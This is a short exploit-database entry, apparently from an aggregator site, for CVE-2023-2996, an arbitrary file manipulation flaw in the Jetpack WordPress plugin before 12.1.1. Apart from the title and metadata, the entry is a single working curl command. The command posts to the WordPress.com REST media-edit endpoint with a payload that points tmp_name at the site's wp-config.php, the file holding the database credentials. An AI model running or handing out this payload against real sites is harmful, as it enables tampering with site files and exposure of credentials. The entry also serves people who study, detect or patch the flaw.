Exploit for Jetpack < 12.1.1 - Author+ Arbitrary File Manipulation via API CVE-2023-2996

Name: Exploit for Jetpack < 12.1.1 - Author+ Arbitrary File Manipulation via API CVE-2023-2996
Rating: 5 (196 reviews)

2023-05-30 | CVSS 6.5

## https://sploitus.com/exploit?id=WPEX-ID:52D221BD-AE42-435D-A90A-60A5AE530663
curl --json '{ "media": {"tmp_name": "/WP_CONTENT_PATH/wp-config.php", "name": "test.txt"} }' https://public-api.wordpress.com/rest/v1.2/sites/BLOG_ID/media/1/edit

Where BLOG_ID is the site Jetpack blog id.